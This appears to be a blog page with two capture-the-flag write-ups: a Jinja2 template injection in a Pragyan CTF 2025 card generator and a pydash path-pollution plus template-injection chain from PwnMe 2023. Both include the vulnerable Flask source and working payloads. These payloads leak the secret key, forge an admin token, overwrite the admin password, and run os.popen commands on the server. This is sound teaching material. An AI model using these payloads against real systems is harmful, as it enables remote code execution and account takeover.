Jinja2 on HitCat

Jinja2 SSTI in a card generator - Pragyan CTF 2025

Sun, 09 Feb 2025 00:00:00 +0000

Introduction

The website consists of a single page for generating birthday cards. It features a form with 4 fields: sender, recipient, message, and message_final.

Upon submitting the form, a card is generated and displayed on the page with the entered values.

Context Explanation

We had access to the application’s source code, which is as follows:

from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os

app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env

KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

@app.route("/", methods=["GET", "POST"])
def personalized_card():
    if request.method == "GET":
        return """
        <link rel="stylesheet" href="static/style.css">
        <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
        <div class="container">
            <div class="card-generator">
                <h1>Personalized Card Generator</h1>
                <form action="/" method="POST">
                    <label for="sender">Sender's Name:</label>
                    <input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
                    <label for="recipient">Recipient's Name:</label>
                    <input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
                    <label for="message">Message:</label>
                    <input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
                    <label for="message_final">Final Message:</label>
                    <input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
                    <button type="submit">Generate Card</button>
                </form>
            </div>
        </div>
        """
    elif request.method == "POST":
        try:
            recipient = request.form.get("recipient", "")
            sender = request.form.get("sender", "")
            message = request.form.get("message", "")
            final_message = request.form.get("message_final", "")
            if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
                template = f"""
                    <link rel="stylesheet" href="static/style.css">
                    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
                    <div class="container">
                        <div class="card-preview">
                            <h1>Your Personalized Card</h1>
                            <div class="card">
                                <h2>From: {sender}</h2>
                                <h2>To: {recipient}</h2>
                                <p>{message}</p>
                                <h1>{final_message}</h1>
                            </div>
                            <a class="new-card-link" href="/">Create Another Card</a>
                        </div>
                    </div>
                """
            else:
                template="Either the recipient, sender, or message input is more than 50 letters"
            app.jinja_env = env
            app.jinja_env.globals.update({
                'validator': validator()
            })
            return render_template_string(template)
        except Exception as e:
            return f"""
            <link rel="stylesheet" href="static/style.css">
            <div>
                <h1>Error: {str(e)}</h1>
                <br>
                <p>Please try again. <a href="/">Back to Card Generator</a></p>
            </div>
            """, 400

@app.route("/debug/test", methods=["POST"])
def test_debug():
    user = session.get("user")
    host = request.headers.get("Host", "")
    if host != "localhost:3030":
        return "Access restricted to localhost:3030, this endpoint is only for development purposes", 403
    if not user:
        return "You must be logged in to test debugging.", 403
    try:
        raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
    except Exception as e:
        return "Debugging error occurred.", 500

@app.route("/admin/report")
def admin_report():
    auth_cookie = request.cookies.get("session")
    if not auth_cookie:
        abort(403, "Unauthorized access.")
    try:
        token, signature = auth_cookie.rsplit(".", 1)
        from app.sign import initFn
        signer = initFn(KEY)
        sign_token_function = signer.get_signer()
        valid_signature = sign_token_function(token)

        if valid_signature != signature:
            abort(403, f"Invalid token.")

        if token == "admin":
            return "Flag: p_ctf{redacted}"
        else:
            return "Access denied: admin only."
    except Exception as e:
        abort(403, f"Invalid token format: {e}")

@app.after_request
def clear_imports(response):
    if 'app.sign' in sys.modules:
        del sys.modules['app.sign']
    if 'app.sign' in globals():
        del globals()['app.sign']
    return response

Directive

The challenge provides a Flask-based “Birthday Card Generator” website. The goal is to exploit a Server-Side Template Injection (SSTI) vulnerability to leak the Flask secret key, forge a malicious admin session cookie, and retrieve the flag from the /admin/report endpoint.

Solution

After analyzing the code, the vulnerability appears to be a Server-Side Template Injection (SSTI) in the form fields.

template = f"""
    <link rel="stylesheet" href="static/style.css">
    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
    <div class="container">
        <div class="card-preview">
            <h1>Your Personalized Card</h1>
            <div class="card">
                <h2>From: {sender}</h2>
                <h2>To: {recipient}</h2>
                <p>{message}</p>
                <h1>{final_message}</h1>
            </div>
            <a class="new-card-link" href="/">Create Another Card</a>
        </div>
    </div>
"""

However, there are restrictions on the length of the fields and their contents. To retrieve the flag, we need to call the /admin/report route with a valid admin token.

The controls are as follows:

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

In summary, the controls are:

Fields must not contain the words validator or os.
Fields must not exceed 50 characters.

To exploit the SSTI while bypassing the controls, we retrieved the secret key by reading the application’s config.

Retrieving the Secret Key

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

sender={{config}}&message=msg&message_final=msg_fin

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'dsbfeif3uwf6bes878hgi', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'KEY': 'dsbfeif3uwf6bes878hgi'}>

We read the KEY entry, which is the application’s secret key: 'KEY': 'dsbfeif3uwf6bes878hgi'.

Creating a Signed Token

To sign a token with this key, we used a library available within the application via a HiddenClass that requires a key in its constructor and contains the _sign_token("value") method.

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 152
Content-Type: application/x-www-form-urlencoded

sender={%set p = ''.__class__.__mro__[1].__subclasses__%}&message={% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}&message_final={{d._sign_token("admin")}}

Payload Explanation

{%set p = ''.__class__.__mro__[1].__subclasses__%}

This payload sets the variable p to the list of subclasses of the base class.

''.__class__.__mro__[1].__subclasses__ retrieves the list of subclasses of the base class (str in this case).

{% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}

This payload sets the variable d to an instance of HiddenClass in the list p, initialized with the secret key dsbfeif3uwf6bes878hgi.

p()[-2]('dsbfeif3uwf6bes878hgi') creates an instance of HiddenClass with the provided secret key.

{{d._sign_token("admin")}}

This payload uses the instance d to call the _sign_token method with the argument admin, effectively generating a signed token with the value admin.

{{d._sign_token("admin")}} renders the result of the _sign_token method call, which is the signed token.

In the response, we retrieved the forged token in the message_final field: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b.

Retrieving the Flag

We were able to retreive the flag by sending a request to the /admin/report route with the forged token.

GET /admin/report HTTP/2
Host: birthday.ctf.prgy.in
Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b

HTTP/2 200 OK
Server: gunicorn
Date: Fri, 07 Feb 2025 15:13:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Flag: p_ctf{S3rVer_STI_G0es_hArd}

Source disclosure to Jinja2 SSTI RCE on Flask - PwnMe 2023

Sun, 07 May 2023 00:00:00 +0000

Introduction

This challenge is a WEB challenge from the PWNME CTF.

Context Explanation

A company needs a website to generate a QR Code. They asked a freelancer to do the job.

Since the website went live, they noticed strange behavior on their server.

They need you to audit their code and help them fix their problem.

Directive

The flag is located in /app/flag.txt

Solution

The web application to test is a blog that allows you to create articles and display them.

You can create and display articles, even if you are not logged in.

There is a section to create an account and log in.

I started by analyzing the challenge sources that were available for download.

The application is a Python web site with the Flask framework, which uses only two dependencies:

Flask: latest
PyDash: 5.1.2

Analyzing app.py code

I started by analyzing the app.py file which is the main file of the application.

from flask import Flask, render_template, render_template_string, request, redirect, session, sessions
from users import Users
from articles import Articles


users = Users()
articles  = Articles()
app = Flask(__name__, template_folder='templates')
app.secret_key = '(: secret :)'


@app.context_processor
def inject_user():
    return dict(session=session)

@app.route("/create", methods=["POST"])
def create_article():
    name, content = request.form.get('name'), request.form.get('content')
    if type(name) != str or type(content) != str or len(name) == 0:
        return redirect('/articles')
    articles.set(name, content)
    return redirect('/articles')

@app.route("/remove/<name>")
def remove_article(name):
    articles.remove(name)
    return redirect('/articles')

@app.route("/articles/<name>")
def render_page(name):
    article_content = articles[name]
    if article_content == None:
        pass
    if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:
        article_content = render_template_string(article_content)
    return render_template('article.html', article={'name':name, 'content':article_content})

@app.route("/articles")
def get_all_articles():
    return render_template('articles.html', articles=articles.get_all())

@app.route('/show_template')
def show_template():
    if 'user' in session and users[session['user']['username']]['restricted'] == False:
        if request.args.get('value') == '1':
            users[session['user']['username']]['seeTemplate'] = True
            session['user']['seeTemplate'] = True
        else:
            users[session['user']['username']]['seeTemplate'] = False
            session['user']['seeTemplate'] = False
    return redirect('/articles')


@app.route("/register", methods=["POST", "GET"])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template("register.html", error="Wtf are you trying bro ?!")
    result = users.create(username, password)
    if result == 1:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    elif result == 0:
        return render_template("register.html", error="User already registered")
    else:
        return render_template("register.html", error="Error while registering user")


@app.route("/login", methods=["POST", "GET"])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template('login.html', error="Wtf are you trying bro ?!")
    if users.login(username, password) == True:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    else:
        return render_template("login.html", error="Error while login user")


@app.route('/logout')
def logout():
    session.pop('user')
    return redirect('/')

@app.route('/')
def index():
    return render_template("home.html")


app.run('0.0.0.0', 5000, debug=True)

Here we notice several things:

The Flask server is in debug mode, which activates the /console endpoint that allows you to execute Python code on the server.
There is a session variable seeTemplate which allows you to display or not the content of the articles as a template, potentially allowing template injection: article_content = render_template_string(article_content).
The secret key is declared in the code and not in the environment variables, so we can potentially retrieve or overwrite its value to sign cookies.

Analyzing users.py code

I then looked at the users.py file that manages the users.

import hashlib

class Users:

    users = {}

    def __init__(self):
        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

    def create(self, username, password):
        if username in self.users:
            return 0
        self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}
        return 1
    
    def login(self, username, password):
        if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():
            return True
        return False
    
    def seeTemplate(self, username, value):
        if username in self.users and self.users[username].restricted == False:
            self.users[username].seeTemplate = value

    def __getitem__(self, username):
        if username in self.users:
            return self.users[username]
        return None

We see in this file that there is an admin user with the password None and seeTemplate True:

self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

By default, when you create a user via the register function, the user is restricted and cannot view templates:

self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}

We also see that the encryption method used for passwords is sha256.

Analyzing articles.py code

The last Python file to analyze is articles.py which manages the articles.

import pydash

class Articles:

    def __init__(self):
        self.set('welcome', 'Test of new template system: {%block test%}Block test{%endblock%}')

    def set(self, article_name, article_content):
        pydash.set_(self, article_name, article_content)
        return True


    def get(self, article_name):
        if hasattr(self, article_name):
            return (self.__dict__[article_name])
        return None
    
    def remove(self, article_name):
        if hasattr(self, article_name):
            delattr(self, article_name)

    def get_all(self):
        return self.__dict__

    def __getitem__(self, article_name):
        return self.get(article_name)

Here, only one thing is interesting: the set function that allows you to create an article. We see that the set_ function from the pydash library is used to create a class attribute with the article name and the article content.

Exploitation

Unfortunately for us, the /console endpoint is not accessible because it is protected by a code. There are ways to bypass this protection by having access to certain files on the machine, but this is not possible in this challenge.

There are several ways to exploit this application, but all involve creating an article with a specific name.

To understand the exploitation, we need to look at the set_ function. Here is the official documentation of the pydash library:

pydash.objects.set_(obj, path, value)

Assigns the value of an object described by the path. If part of the object's path does not exist, it will be created.

import pydash

pydash.set_({}, 'a.b.c', 1)
# Output: {'a': {'b': {'c': 1}}}

pydash.set_({}, 'a.0.c', 1)
# Output: {'a': {'0': {'c': 1}}}

pydash.set_([1, 2], '[2][0]', 1)
# Output: [1, 2, [1]]

pydash.set_({}, 'a.b[0].c', 1)
# Output: {'a': {'b': [{'c': 1}]}}

Source: https://pydash.readthedocs.io/en/v5.1.2/api.html#pydash.objects.set_

In our case, the set_ function is called with self as the first parameter, which corresponds to the Articles class. The second parameter is the name of the article, and the third parameter is the content of the article.

Since we control the title and content of the article, we can abuse the path to overwrite existing values or create new values.

For example, with an article named __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.admin.password, we can overwrite the value of the hashed administrator password and thus access their account.

Admin account access

By creating an article with this name and content 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 (“admin” in SHA256), we have just reset the administrator’s password.

import hashlib

print(hashlib.sha256("admin".encode()).hexdigest())
#8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Now we can log in with admin:admin and have access to the seeTemplate feature.

Access to the flag

Now that we have access to the admin account and the ability to view templates, we need to find a way to access the flag.

To do this, we remember that when creating an article, the content is passed through the Flask render_template_string function, which renders a template from a string.

By exploiting this function, we can inject a template and list files.

{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

We can execute arbitrary commands on the server. All that’s left is to read the flag.

{{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /flag.txt").read() }}

Flag : PWNME{de3_pOL1tTiOn_cAn_B3_D3s7rUctv3}

Alternative solution

It is also possible to use the set_ function from pydash to overwrite the value of the secret key.

In a Flask application using sessions, the secret key is used to sign session cookies. If we manage to overwrite the value of the secret key, we can sign our own session cookies and thus log in with the admin account.

We can then use a tool like flask-unsign to read the content of a regular user’s session cookie, modify the payload to replace the username with admin, and sign the cookie with our new secret key.

Tips & Tricks

Read the documentation of the libraries used.
Identify the entry points of the application.
Identify places where user data is used.
The set_ function from the pydash library allows creating class attributes from a string and can be used to overwrite existing values or create new ones.
Test SSTI (Server-Side Template Injection) with payloads like {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} on places where user data is used and interpreted.